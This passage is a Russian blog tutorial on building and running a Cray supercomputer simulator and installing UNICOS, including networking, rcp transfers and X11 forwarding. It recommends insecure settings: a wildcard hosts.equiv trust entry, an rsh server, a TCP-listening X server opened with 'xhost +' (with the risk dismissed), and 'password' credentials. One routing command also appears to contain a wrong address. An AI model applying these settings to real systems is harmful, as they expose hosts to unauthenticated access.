  <figure id="SstO" class="m_original">
    <img src="https://img4.teletype.in/files/35/58/35583a91-08a4-47c4-b764-f4870b9e39d8.jpeg" width="662" />
    <figcaption>Фронтальная панель суперкомпьютера Cray и индикаторы стадий запуска. Сверху кнопка включения.</figcaption>
  </figure>
  <h2 id="X20N">Оживляем легенду</h2>
  <p id="yfyo">Симулятор использует внешние приложения для работы: </p>
  <pre id="Xwph">xterm, telnet, tmux</pre>
  <p id="YBMA">Все это необходимо установить на хосте <strong>до первого запуска</strong> симулятора.</p>
  <p id="nzla">Дополнительно я использовал <a href="https://github.com/Swordfish90/cool-retro-term" target="_blank">cool-retro-term</a> для наведения красоты, чтобы снимки экрана выглядели еще эпичнее.</p>
  <p id="oyNZ">Важное уточнение:</p>
  <blockquote id="B26Q">несмотря на использование <em>сетевого</em> <code>telnet</code>, полноценное взаимодействие с запущенной UNICOS придется настраивать позже и отдельно — запускаемый при старте telnet-клиент на самом деле подключается к портам симулятора, через которые происходит трансляция консольных команд в виртуальную ОС и обратно.</blockquote>
  <p id="Cfe1">Настоящее сетевое подключение к UNICOS требует специальной настройки на хосте, а поскольку инсталляция происходит по сети — сей шаг является обязательным.</p>
  <p id="ACpd">Настройка выглядит следующим образом:</p>
  <pre id="6m1x" data-lang="bash">brctl addbr craybr
ip tuntap add mode tap tap1
ifconfig tap1 up
brctl addif craybr tap1
ifconfig craybr 172.16.0.1 netmask 255.255.255.0</pre>
  <p id="6ngh">Несмотря на всю внешнюю монструозность, ничего сложного тут нет: </p>
  <blockquote id="hoVW">создается новый мост с именем <code>craybr</code>, затем создается виртуальный сетевой интерфейс <code>tap1</code>, которому назначается IP-адрес 172.16.0.1.</blockquote>
  <p id="zFRB">Последним шагом этот интерфейс добавляется в мост.</p>
  <p id="JG77">Название интерфейса указывается в конфигурационном файле симулятора, который называется <code>unicos.cfg</code>, выдержка:</p>
  <pre id="2260" data-lang="javascript">..
EthInterfaces {
			en0 {
				InterfaceNameLinux          tap1                ; Tap interface name to connect to on Linux
				InterfaceNameWindows        &quot;Cray Ethernet&quot;     ; WinTap interface name to connect to on Windows
				SimMacAddr                  0x020143524159
				Channel                     020
				IopNumber                   0
			}
		}
..		</pre>
  <p id="kErQ">IP-адрес должен быть именно <code>172.16.0.1</code>, поскольку внутренний интерфейс в UNICOS указан как <code>172.16.0.2</code> и поменять его достаточно проблематично.</p>
  <p id="aED7">Можно зайти и немного дальше, включив роутинг <strong>наружу</strong>:</p>
  <pre id="7j1N" data-lang="bash">brctl setfd craybr 0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE</pre>
  <p id="lCXE">В случае Mageia исходящий интерфейс будет называться по-другому, что-то вроде <code>wlp4s0</code>.</p>
  <p id="A7Q1">На стороне UNICOS в симуляторе необходимо выполнить команду:</p>
  <pre id="8AoV" data-lang="bash">route add default 172.16.0.1</pre>
  <p id="I5jJ">Ну и радоваться — ведь вы только что выпустили в сеть суперкомпьютер Cray, пусть и виртуальный:</p>
  <figure id="T7N5" class="m_original">
    <img src="https://img3.teletype.in/files/6e/5c/6e5cdba3-6288-4978-9b5f-39d26961fa7a.png" width="933" />
    <figcaption>Все что вы видите в консоли выше - оригинальный софт от Cray, для суперкомпьютеров Cray.</figcaption>
  </figure>
  <h3 id="F6Ln">Готовая сборка</h3>
  <p id="oYlZ">Существуют готовые сборки симулятора Cray для 64-битного Linux, c уже установленным UNICOS версий <a href="https://archive.org/details/uni-cos-linux-x-86-64.7z" target="_blank">10.0.0.2</a> и <a href="https://archive.org/details/uni-cos-10.0.1.2-linux-x-86-64.7z" target="_blank">10.0.1.2</a>, созданные известным в узких кругах камрадом <a href="https://virtuallyfun.com/2022/12/04/unicos-cd-roms-found/" target="_blank">neozeed</a>.</p>
  <blockquote id="vgnY">Проблема в том, что эти сборки на момент написания статьи успели устареть (от 2022 года) и не факт что заработают в вашей системе.</blockquote>
  <p id="dDx9">А планов по обновлению у их автора нет. </p>
  <p id="TZJ2">Запускается симулятор из этих сборок с помощью стартового скрипта:</p>
  <pre id="69xi" data-lang="bash">./unicos</pre>
  <p id="fuil">Не забудьте что перед запуском необходимо выполнить скрипт для настройки сети (см выше).</p>
  <p id="nbyU">Так выглядит запуск UNICOS 10.0.1.2 в симуляции суперкомпьютера <a href="https://en.wikipedia.org/wiki/Cray_J90" target="_blank">Cray J90</a>:</p>
  <figure id="7U0u" class="m_original">
    <img src="https://img4.teletype.in/files/34/15/341515ba-dfab-4b3d-9083-0a88299c7337.png" width="1366" />
  </figure>
  <p id="prYx">Я заменил стандартный <code>xterm</code>, используемый симулятором по-умолчанию на <a href="https://github.com/Swordfish90/cool-retro-term" target="_blank">cool-retro-term</a> для большей эпичности скриншотов.</p>
  <p id="5hsw">Но конечно у настоящего Cray J-90 не было настолько древних мигающих терминалов и все выглядело куда современне:</p>
  <figure id="uSjS" class="m_original">
    <img src="https://img4.teletype.in/files/ff/db/ffdbabf9-a52f-404e-9d40-c7d11a3bc84f.jpeg" width="1200" />
    <figcaption><a href="https://cray-history.net/cray-history-front/fom-home/cray-t90/" target="_blank">Чуть более новый Cray T-90</a> с рабочим местом оператора (OWS)</figcaption>
  </figure>
  <p id="Vima">Если приглядеться, можно заметить на мониторе рабочей станции, характерные квадратные окна 4dwm — оконного менеджера SGI Irix.    </p>
  <p id="D8hm">Все потому, что в разные исторические периоды для суперкомпьютеров Cray использовались разные терминальные системы — SunOS, Irix и даже Mac:</p>
  <figure id="gHci" class="m_column">
    <img src="https://img1.teletype.in/files/c2/37/c2377141-903c-4cbf-bf2b-46a17dc02e73.jpeg" width="1332" />
  </figure>
  <p id="4XvI">Чтобы добиться такого же эффекта, измените поле настройки <em><code>NewTerminalCommand</code></em> в файле <code>unicos.cfg:</code></p>
  <figure id="6uHV" class="m_original">
    <img src="https://img1.teletype.in/files/00/1f/001f8ade-ed03-446f-ba72-a1f919a43a71.png" width="916" />
  </figure>
  <p id="GMBM">Так выглядит UNICOS в запущенном состоянии:</p>
  <figure id="Y9Db" class="m_original">
    <img src="https://img3.teletype.in/files/24/62/24628d87-5b4d-48fa-865e-da4268cf97ae.png" width="1366" />
  </figure>
  <p id="GfMJ">Согласно описанию автора, в системе есть следующие учетные записи:</p>
  <blockquote id="dbLr">The root password is &#x27;password&#x27; and I&#x27;ve created a neozeed user with the password of &#x27;password&#x27; so you can telnet in</blockquote>
  <p id="NE6q">Входим от root:</p>
  <figure id="wnkV" class="m_original">
    <img src="https://img3.teletype.in/files/ed/6d/ed6d844a-fa06-4649-aa6d-c61db5ff5c3d.png" width="704" />
  </figure>
  <p id="r1QH">Если вы все настроили правильно, также заработать сеть между симулятором и хостом, в обе стороны. </p>
  <p id="5Lqv">Появится возможность войти уже по сети, непосредственно на машину Cray:</p>
  <figure id="RdDw" class="m_original">
    <img src="https://img4.teletype.in/files/b4/bb/b4bb2726-c355-4608-a3a4-1923708caf79.png" width="695" />
  </figure>
  <p id="s7Nc">Для завершения работы симулятора, введите команду <code>exit</code> в нижней консоли основного приложения и нажмите <code>Enter</code>:</p>
  <figure id="JNYl" class="m_original">
    <img src="https://img4.teletype.in/files/71/0c/710ce9f4-4d11-4f81-a52d-0922e68273ac.png" width="1039" />
    <figcaption>То что нижний блок - тоже терминал, причем допускающий ввод, я догадался не сразу.</figcaption>
  </figure>
  <p id="D0Xx">В принципе даже этой версии хватит для последующих развратных действий с участием компилятора (см. ниже). </p>
  <p id="nv2e">Если у вас успешно заработала готовая сборка и нет настойчивого желания «собрать из исходников» — следущий шаг можно пропускать и переходить сразу к стадии действительно изысканных приключений.</p>
  <figure id="XIG5" class="m_column">
    <img src="https://img2.teletype.in/files/d0/0c/d00c6f63-75e4-4686-88b1-6cc6631af4c4.webp" width="2500" />
    <figcaption>Первые суперкомпьютеры Cray были обшиты натуральной кожей <s>убитых инженеров</s>.</figcaption>
  </figure>
  <h2 id="1gVA">Сборка из исходников</h2>
  <p id="C1ho">Несмотря на то что сие занятие — точно не для всех и любимый ChatGPT врядли подскажет что-то разумное по этому проекту, сделать все же стоит — для большего погружения.</p>
  <p id="9N00">Симулятор написан на C++, с использованием библиотеки Boost, поэтому компиляция из исходников протекает.. весьма неспешно.</p>
  <p id="I9DD">Забираем исходники:</p>
  <pre id="G4jX" data-lang="bash">git clone https://github.com/andrastantos/cray-sim.git</pre>
  <p id="2fPc">Релизных веток нет и все собирается из <code>master</code>.</p>
  <p id="ptBC">Перед тем как запускать сборку необходимо установить следующие зависимости, версия для Ubuntu:</p>
  <pre id="VpCz" data-lang="bash"> g++ make libboost-all-dev libncurses-dev libgpm-dev</pre>
  <p id="DXbs">для Mageia:</p>
  <pre id="kfai" data-lang="bash">gcc-c++ make lib64boost-devel lib64ncurses-devel lib64gpm-devel</pre>
  <p id="c6hc">Исходный код находится в каталоге <code>simulator</code>, поэтому сборка проекта также запускается именно оттуда, а не из корня репозитория.</p>
  <p id="c95p">Поскольку в пакетах Mageia нет статической версии библиотеки Boost, а для сборки Boost из исходниокв не хватило <s>размеров статьи</s> свободного места, я использовал динамическую линковку:</p>
  <pre id="q1se" data-lang="bash">make LINK_TYPE=dynamic build</pre>
  <p id="0P1y">В Ubuntu сборка будет работать и вот так:</p>
  <pre id="0BYp" data-lang="bash">make build</pre>
  <p id="xQso">Готовые бинарники будут находиться в каталоге <code>simulator/_bin</code>, но управляющие скрипты об этом знают, поэтому в ручную ничего перекладывать не надо.</p>
  <figure id="386D" class="m_column">
    <img src="https://img1.teletype.in/files/0b/57/0b570146-3007-40c1-825a-e56522220c7c.jpeg" width="1024" />
    <figcaption>Завершение установки на одном из сохранившихся Cray Y-MP, консоль - реальный терминал Wyse тех лет.</figcaption>
  </figure>
  <h2 id="C8GN">Установка UNICOS</h2>
  <p id="zizP">Теперь самая интересная стадия, которую вы пропустите если остановитесь на готовой сборке:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="hWDU">установка операционной системы UNICOS в симуляторе суперкомпьютера Cray из оригинальных образов CD-дисков.</p>
  </section>
  <p id="0kQn">Когда-то, за процесс ввода суперкомпьютера в эксплуатацию, отвечала целая команда высококлассных и сертифицированных инженеров, которые тщательно оберегали свои секреты.</p>
  <blockquote id="TvwM">Но благодаря любопытным фанатам, теперь наконец и вы сможете в этом поучаствовать. </blockquote>
  <p id="nhlu">Как уже описывал выше, два случайно обнаруженных диска оказались <strong>единственными</strong> сохранившимися носителями загрузочного образа UNICOS и без них судьба симулятора сложилась бы совершенно иначе.</p>
  <p id="vbcp">Образы UNICOS доступны по ссылкам:</p>
  <ul id="rKaZ">
    <li id="Klwz"><a href="https://archive.org/details/cray-cd1" target="_blank">https://archive.org/details/cray-cd1</a></li>
    <li id="IVSP"><a href="https://archive.org/details/cray-cd2" target="_blank">https://archive.org/details/cray-cd2</a></li>
  </ul>
  <p id="gqEO">Оба диска являются загрузочными, первый содержит UNICOS версии 10.0.0.2 для модели <a href="https://en.wikipedia.org/wiki/Cray_J90" target="_blank">Cray J90</a>, второй — UNICOS 10.0.1.2 для <a href="https://en.wikipedia.org/wiki/Cray_SV1" target="_blank">Cray SV1</a>.</p>
  <p id="c49d">Шаги установки полностью совпадают, но устанавливать я буду более свежую версию 10.0.1.2, со второго ISO-образа.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="PdGv">Несмотря на то что разные версии этой ОС предназначены для установки на разные суперкомпьютеры, в условиях симулятора все отлично работает.</p>
  </section>
  <figure id="5VZq" class="m_column">
    <img src="https://img4.teletype.in/files/fd/76/fd7623f4-f812-44e2-a43c-5a5fc6a64b01.jpeg" width="1200" />
    <figcaption>Так выглядит модель Cray SV1</figcaption>
  </figure>
  <p id="woyQ">Инструкция по установке от автора симулятора, находится <a href="https://github.com/andrastantos/cray-sim/blob/master/unicos_install.md" target="_blank">тут</a>, но к сожалению она успела немного устареть, поэтому придется использовать описанные в ней шаги с небольшими изменениями.</p>
  <p id="9YmZ">Напоминаю, что все команды ниже, выполняемые с хоста, как и управляющие скрипты симулятора подразумевают использование <code>bash</code>. </p>
  <blockquote id="2EOi">Со стороны UNICOS используется <code>ksh</code>, но для стадии установки это не особо важно.</blockquote>
  <p id="IHj1">Для упрощения вводимых команд, зададим две переменные окружения:</p>
  <pre id="6q7W" data-lang="bash">export ISO=/mnt/iso
export SIM=/opt/work/cray/cray-sim</pre>
  <p id="qtyU">Первая указывает на путь к примонтированному образу диска, вторая — полный путь до каталога с симулятором.</p>
  <p id="ZMF6">Монтируем загрузочный диск с UNICOS:</p>
  <pre id="QVKr" data-lang="bash">fuseiso ./cray-cd2.iso $ISO</pre>
  <p id="sNTj">Образ UNICOS содержит длинные имена файлов а также файлы и каталоги с именами в разных регистрах:</p>
  <figure id="fmKk" class="m_original">
    <img src="https://img1.teletype.in/files/45/03/4503146e-66e5-448a-b3b9-f1674be943dd.png" width="691" />
  </figure>
  <p id="d53o">Поэтому использовать известный трюк с<code>mount -o loop</code> не получится.</p>
  <p id="aV8X">Копируем архив с системой и ядро:</p>
  <pre id="xt6D" data-lang="bash">cp $ISO/unicos_exe/ram_fs $SIM
cp $ISO/unicos_exe/krn_11.bgz $SIM</pre>
  <p id="t0t9">Распаковываем архив с ядром:</p>
  <pre id="IgOc" data-lang="bash">cd $SIM
gzip -d -- &lt; krn_11.bgz | cpio -i</pre>
  <p id="Ff7i">В корневом каталоге симулятора появятся несколько новых файлов, нужный нам называется <code>unicos.generic</code> — то самое ядро.</p>
  <p id="pgPM">На этой стадии можно наконец запустить симулятор, но пока с использованием образа RAMFS, который мы только что скопировали с установочного диска:</p>
  <pre id="oZ9A">./unicos_ramfs</pre>
  <p id="nRn0">Запустится симулятор и появится терминал с подключением к UNICOS, запущенной в single user mode:</p>
  <figure id="4vts" class="m_original">
    <img src="https://img2.teletype.in/files/5c/14/5c14fc4a-72be-43b8-a952-bfe238d120fa.png" width="1366" />
    <figcaption>Кто бы мог подумать, что смогу запустить в Single User Mode ОС для суперкомпьютеров Cray</figcaption>
  </figure>
  <p id="f2q7">Теперь настраиваем сеть на стороне UNICOS, поскольку следующим шагом необходимо копировать системные файлы с примонтированного ISO-образа.</p>
  <p id="3gqc">Напомню что подключение через telnet происходит на самом деле к самому симулятору, не к эмулируемой ОС внутри.</p>
  <p id="TteR">Вводим в консоли UNICOS:</p>
  <pre id="EJRR" data-lang="bash">ifconfig en0 172.16.0.2</pre>
  <p id="nRjJ">После выполнения команды должна отрабатывать команда <code>ping</code> до хоста: </p>
  <figure id="3Uh1" class="m_original">
    <img src="https://img3.teletype.in/files/e0/aa/e0aa60f0-8ee8-46c9-a51f-376b8e79d257.png" width="739" />
  </figure>
  <p id="S77j">Дальше начинается еще один интересный этап, <s>полный боли и страданий,</s> поскольку придется встретиться с одной <strong>очень древней</strong> технологией передачи файлов между компьютерами — <a href="https://en.wikipedia.org/wiki/Berkeley_r-commands" target="_blank">rcp</a>.</p>
  <blockquote id="rLZy">UNICOS, который мы с вами запускаем это система из далекого 1997 года и ничего другого для передачи файлов в ее загрузочном образе просто нет.</blockquote>
  <p id="570n">Когда-то предполагалось, что весь процесс установки и запуска в эксплуатацию суперкомпьютера — строго секретный, поэтому с «usability» не заморачивались.</p>
  <p id="fpFe">Есть еще один важный нюанс:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="jQTG">единственная доступная в образе утилита для передачи файлов на расстояние это <strong>клиент</strong>. </p>
  </section>
  <p id="jic2">Для того чтобы подключиться с его помощью и скачать файл, надо поднимать <strong>сервер</strong>, сервер древнего <code>rcp</code> и на современном линуксе.</p>
  <p id="hFMT">Ввиду своей древности, rcp в любом виде (как клиент и как демон) давно отсутствует по-умолчанию в любых линуксах и BSD, а его установка и запуск в современном окружении требует «особой уличной магии».</p>
  <p id="rSA0">Для Ubuntu вам будет необходимо установить пакеты:</p>
  <pre id="dZWe" data-lang="bash">rsh-client rsh-server</pre>
  <p id="rpn3">для Mageia:</p>
  <pre id="295p" data-lang="bash">rsh rsh-server</pre>
  <p id="5zn6">В последней запуск rsh-сервера происходит через демон <code>xinetd</code>, который по-умолчанию отключен и попытка запуска будет выдавать ошибку:</p>
  <pre id="a9Sn">xinetd.service is not active, cannot reload.</pre>
  <p id="yw8Q">Поэтому сначала запускается <code>xinetd</code>, затем <code>rsh</code>:</p>
  <pre id="C2oU" data-lang="bash">service xinetd start
service rsh start</pre>
  <p id="KxGr">Следующим шагом необходимо разрешить использование демона <code>rsh</code> по сети (входящие подключения), для Ubuntu необходимо добавить строку в файл <code>/etc/hosts.equiv</code>:</p>
  <pre id="JRuH">172.16.0.2 +</pre>
  <p id="lGSg">Для Mageia используется файл <code>~/.rhosts</code></p>
  <p id="wK2h">Это позволит подключиться к хосту и скопировать стартовый скрипт инсталляции в запущенную UNICOS.</p>
  <p id="Cpar">Но прежде чем копировать, скрипт необходимо немного изменить. </p>
  <p id="A5X2">Открываем файл <code>install</code> (находится в корневом каталоге симулятора) любимым редактором <code>vi</code> и заполняем значения переменных:</p>
  <ul id="MAP7">
    <li id="sv4B"><code>LOCAL_LOGIN</code> = имя пользователя на хосте</li>
    <li id="Etbr"><code>ISO_MNT</code> = /полный/путь/к каталогу с образом UNICOS</li>
  </ul>
  <p id="2T7H">Также добавляем новую переменную <code>SIM_LOC</code>, которой устанавливаем значение в виде полного пути к каталогу с симулятором.</p>
  <p id="Oosy">Заранее предупреждаю, что в скрипте инсталляции <em>есть небольшая ошибка</em>, связанная с определением версии устанавливаемой системы. На процесс инсталляции она не влияет, но бесит и раздражает, поскольку появляется в самом начале.</p>
  <p id="myWK">Чтобы ее избежать, необходимо задать еще одну переменную:</p>
  <pre id="MHsi">UNICOS_EXE=UNICOS_exe</pre>
  <p id="fAZH">В результате всех описанных выше правок должно получиться такое:</p>
  <figure id="47pI" class="m_original">
    <img src="https://img4.teletype.in/files/34/1c/341cdf95-4bdf-41b6-9d7d-b914d91e1886.png" width="831" />
    <figcaption>Финальный скрипт установки операционной системы Cray, мама будет вами гордиться ;)</figcaption>
  </figure>
  <p id="emcV">Cохраняем изменения, затем на стороне UNICOS вводим команды, заменив предварительно имя пользователя и путь к симулятору:</p>
  <pre id="piMk" data-lang="bash">cd /
rcp alex@172.16.0.1:/opt/work/cray/cray_sim/install .</pre>
  <p id="m8OP">В результате выполнения команды файл <code>install</code> будет скопирован с хоста и появится в корне файловой системы UNICOS:</p>
  <figure id="abL6" class="m_original">
    <img src="https://img3.teletype.in/files/6b/e0/6be01864-808b-44af-8d59-424c1078f599.png" width="739" />
  </figure>
  <p id="djdw">Запускаем скопированный скрипт инсталляции UNICOS:</p>
  <pre id="Lty4">./install</pre>
  <p id="GxKf">Появится сообщение с перечислением введенных параметров: </p>
  <figure id="tXWy" class="m_original">
    <img src="https://img1.teletype.in/files/ca/39/ca39a10e-f1a0-41d5-9a6c-0b65bd1c8100.png" width="730" />
  </figure>
  <p id="lKY2">Нажимаем любую клавишу и запустится увлекательный процесс установки операционной системы для суперкомпьютера Cray:</p>
  <figure id="ZJ86" class="m_original">
    <img src="https://img1.teletype.in/files/40/2b/402bbfd1-e4b5-4086-9d93-0d0891276c15.png" width="739" />
    <figcaption>Несмотря на эпичность, это всего лишь копирование файлов по сети.</figcaption>
  </figure>
  <p id="eypv">Процесс достаточно длительный и занимает несколько часов, вне зависимости от мощи вашего оборудования, так что вполне успеете принести <s>кровавую жертву темным богам</s> выпить чаю в хорошей компании.</p>
  <p id="K9t6">В самом конце установки, будет предложено установить пароль для суперпользователя, а также будет запущен диалог создания учетной записи обычного пользователя.</p>
  <p id="via8">После чего установка наконец будет завершена:</p>
  <figure id="HX0e" class="m_original">
    <img src="https://img3.teletype.in/files/af/52/af5224d5-f0a2-418a-b3e8-5f9f205d0025.png" width="1366" />
    <figcaption>Да, вы только что установили ОС на суперкомпьютер Cray, пусть и виртуальный.</figcaption>
  </figure>
  <p id="iZN7">Во время установки UNICOS происходит один очень важный шаг, о котором стоит рассказать — линковка ядра. </p>
  <p id="fxWJ">Эта практика происходит из времен первых UNIX, когда архитектур было много а стандартов мало. Совместимость оборудования хромала, поэтому такая линковка использовалась в качестве своеобразного финального теста системы.</p>
  <p id="0uNR">Из современных операционных систем, эту практику сохранила например OpenBSD, хотя и по <a href="https://why-openbsd.rocks/fact/karl/" target="_blank">другой причине</a>.</p>
  <p id="gYQ0"></p>
  <p id="NAHH">Останавливаем симулятор командой <code>exit</code> и убеждаемся, что основное ядро UNICOS успешно слинковано — должен появиться файл <code>unicos.ymp.10012</code>:</p>
  <figure id="I10k" class="m_original">
    <img src="https://img3.teletype.in/files/6d/e8/6de82c6b-0287-4446-95ea-5a498b490980.png" width="831" />
  </figure>
  <p id="P4s5">После этого, проверяем файл <code>unicos.cfg</code>, в котором должно появиться указание на новое ядро:</p>
  <figure id="xwWd" class="m_original">
    <img src="https://img3.teletype.in/files/e3/92/e3920761-2a8b-4575-9f7d-0c07b003ed49.png" width="831" />
  </figure>
  <p id="Xime">Если все хорошо и ссылка на свежее ядро на месте, запускаем полноценную симуляцию:</p>
  <pre id="WFo0">./unicos</pre>
  <p id="skA2">Так выглядит полностью запущенный симулятор суперкомпьютера Cray J90 с только что установленной UNICOS:</p>
  <figure id="gruF" class="m_original">
    <img src="https://img1.teletype.in/files/80/27/80278593-ef07-4d19-869d-af5a7f37e92e.png" width="1366" />
  </figure>
  <p id="zJ0v">Если на стороне UNICOS прописать маршрут по-умолчанию, такой же командой как и в готовой сборке:</p>
  <pre id="Xo8V" data-lang="bash">route add default 172.16.0.2</pre>
  <p id="K47t">..получим выход в интернет. </p>
  <p id="5O6N">Прямо с суперкомпьютера Cray, вы правильно поняли:</p>
  <figure id="fXiB" class="m_original">
    <img src="https://img3.teletype.in/files/28/75/28750e0d-621e-428e-bf34-c1b7e2fe0c60.png" width="1366" />
    <figcaption>Мам, я вывел суперкомпьютер Cray в интернет! </figcaption>
  </figure>
  <p id="4b8C">Вы же не думали, будто на этом я успокоюсь, открою шампанское, <s>вызову девок</s> и уйду в загул? Конечно же нет и впереди ждет еще много интересного и удивительного.</p>
  <h2 id="inao">Графический интерфейс, на суперкомпьютере</h2>
  <p id="oDLk">В найденных образах UNICOS, один из которых мы только что использовали для установки, была обнаружена <strong>работающая</strong> клиентская библиотека для протокола X11.</p>
  <p id="Piry">Самого X-сервера внутри разумеется нет, поскольку далекие предки использовали специальные управляющие терминалы с SGI Irix:  </p>
  <figure id="ZbAc" class="m_original">
    <img src="https://img1.teletype.in/files/c3/6d/c36dabc2-d859-4ba5-bce4-60e5e361a609.jpeg" width="696" />
  </figure>
  <p id="NVbT">Зато есть возможность пробросить отображение приложения с поддержкой протокола X11, чтобы оно отрисовывалось на запущенном <strong>современном</strong> Xorg-сервере хоста.</p>
  <p id="YXmb">Что автор немедленно и проделал:</p>
  <figure id="IQOg" class="m_original">
    <img src="https://img4.teletype.in/files/f8/64/f8642483-ada3-4468-9ced-681d8dae34ce.png" width="1366" />
    <figcaption>Часики, которые тикают прямо на суперкомпьютере Cray.</figcaption>
  </figure>
  <p id="DvUY">Два приложения на скриншоте выше <code>xterm</code> и <code>xlock</code> — запущены из работающей UNICOS и отображаются в Xorg-сервере на Mageia Linux.</p>
  <p id="hjPn">Чтобы это повторить, необходимо принести кровавую жерт.. ээ выполнить три простых шага, описанные ниже.</p>
  <h3 id="OeTK">Запуск Xorg-сервера с поддержкой сети</h3>
  <p id="LkSO">По-умолчанию и очень давно, даже в самых олдскульных дистрибьютивах вроде Slackware, X-сервер запускается с параметром <code>-nolisten</code>, запрещающим удаленное подключение по сети.</p>
  <p id="Q6yR">Чтобы в этом убедиться, достаточно выполнить команду на хосте, которая покажет запущенный X-сервер со всеми параметрами:</p>
  <pre id="QEs8" data-lang="bash">ps -ax |grep X</pre>
  <p id="LSB1">Запускается X-сервер из специального приложения «display manager» (dm), который ответчает за красивое графическое окно авторизации, поэтому параметры запуска X-сервера указываются в настройках этого менеджера.</p>
  <p id="k2Eh">Поскольку в моей системе используется LightDM, для того чтобы X-сервер начал прослушивать сетевой порт, я добавил следующую настройку в раздел <code>[Seat:*]</code> в файл <code>/etc/lightdm/lightdm.conf.d/49-mageia.conf</code>:</p>
  <pre id="H2Cf">xserver-allow-tcp=true
xserver-command=X -listen tcp</pre>
  <p id="u5WN">После чего сервис <code>lightdm</code> необходимо перезапустить:</p>
  <pre id="7Ihs" data-lang="bash">service lightdm restart</pre>
  <p id="NGl2">Естественно вас в этот момент выбросит из системы, так что будьте готовы и остановите заранее симулятор, если он был запущен.</p>
  <h3 id="mDLI">Разрешение удаленного доступа без авторизации</h3>
  <p id="TWm2">Следующим шагом необходимо отключить авторизацию при подключении к X-серверу по сети.</p>
  <p id="wq54">Для этого авторизуйтесь с помощью DM и запустите графическое окружение — как вы обычно это делаете, затем введите в консоли:</p>
  <pre id="qTcr" data-lang="bash">xhost +</pre>
  <p id="4iRA">Выглядит это так:</p>
  <figure id="OfEF" class="m_original">
    <img src="https://img2.teletype.in/files/51/18/5118f912-82a4-49cb-9653-3b662e4dcc68.png" width="1366" />
  </figure>
  <p id="UKkF">После выполнения этой команды будет доступно удаленное подключение к вашему X-cерверу с любого хоста.</p>
  <p id="ypS3">Что конечно считалось опасным еще лет двадцать назад, но в нынешние продвинутые времена (с Wayland вместо Xorg), когда о самой возможности такого удаленного подключения уже мало кто помнит — не стоит заморачиваться:</p>
  <blockquote id="GwEt">все, кто теоретически смог бы таким образом подключиться к вашей машине давно умерли или наслаждаются маразмом.</blockquote>
  <p id="Xn2a">Кроме автора, разумеется.</p>
  <h3 id="eNlv">Указание адреса удаленного X-сервера</h3>
  <p id="gRrh">Наконец последним шагом необходимо указать адрес удаленного X-сервера на стороне UNICOS.</p>
  <p id="Jaie">Делается это командой (не забываем о ksh по-умолчанию):</p>
  <pre id="fbSp" data-lang="bash">setenv DISPLAY 172.16.0.1:0.0</pre>
  <p id="reEn">Набор софта с графическим интерфейсом находится в каталоге <code>/usr/bin/X11</code>, так для примера выглядит запуск <code>xterm</code>:</p>
  <figure id="Zsof" class="m_column">
    <img src="https://img4.teletype.in/files/b4/37/b437f04a-c3e2-4e38-a5b7-f7f323a9a2e3.png" width="775" />
    <figcaption>&quot;This is a private computer facility&quot; - самое возбуждающее приглашение на свете.</figcaption>
  </figure>
  <p id="ByFM">Если вы выполнили все шаги правильно, появится графическое окно, с запущенным приложением, работающим в среде суперкомпьютера:</p>
  <figure id="hN8S" class="m_original">
    <img src="https://img1.teletype.in/files/cc/79/cc795584-21c8-4ec8-97bc-cc24ae13a255.png" width="577" />
  </figure>
  <p id="xnxx"></p>
  <p id="a1jo">И.. нет, это еще не конец.</p>
  <h2 id="UGcj">Особенные радости, для особенных</h2>
  <p id="BK3X">Вместе с симулятором поставляется интересный архив <code>goodies.tar</code>, собранный оригинальным автором симулятора, который можно найти в каталоге <code>unicos_tools</code>.</p>
  <blockquote id="MM2W">Архив содержит несколько известных утилит, собранных для UNICOS, без которых жизнь юниксоида сера и уныла — <code>bash</code> и <code>midnight commander</code>.</blockquote>
  <p id="DY6h">Узрите смертные, ибо так выглядит ваш любимый <code>mc</code> , запущенный на суперкомпьютере Cray:</p>
  <figure id="djGz" class="m_column">
    <img src="https://img4.teletype.in/files/b2/52/b2523d82-4a1d-459d-b3dd-0add688e0a3f.png" width="739" />
    <figcaption>Страшно? А мы предупреждали.</figcaption>
  </figure>
  <p id="C3Tr">Копируется сей замечательный архив с помощью уже известного по процессу установки <code>rcp</code>:</p>
  <pre id="uPaG" data-lang="bash">rcp alex@172.16.0.1:/opt/work/cray/cray-sim/unicos_toos/goodies.tar /</pre>
  <p id="wXLT">Распаковывается в каталог <code>/usr</code>, который уже присутствует в переменной окружения <code>PATH</code>:</p>
  <pre id="HI2q" data-lang="bash">cd /usr
tar xvf /goodies.tar
rm /goodies.tar</pre>
  <p id="SD0g">Перед запуском необходимо выставить бит запуска:</p>
  <pre id="Ajee" data-lang="bash">chmod +x /usr/bin/mc
chmod +x /usr/bin/bash</pre>
  <p id="82yW">и соответствующие права:</p>
  <pre id="RSlL" data-lang="bash">chmod 765 /usr/bin/mc
chmod 765 /usr/bin/bash</pre>
  <p id="l7Fq">Если <code>mc</code> будет ругаться при запуске, необходимо выставить тип терминала:</p>
  <pre id="vt0a" data-lang="bash">setenv TERM xterm</pre>
  <p id="fOQ2">И нет, это тоже еще не коне.. </p>
  <p id="bHf6">(удары тяжелым предметом на фоне)</p>
  <p id="8KAY">Механический голос за кадром:</p>
  <p id="hW0y">..угроза раскрытия корпоративных секретов устранена.</p>
  <p id="aesy">Приступаю к зачистке территории.</p>

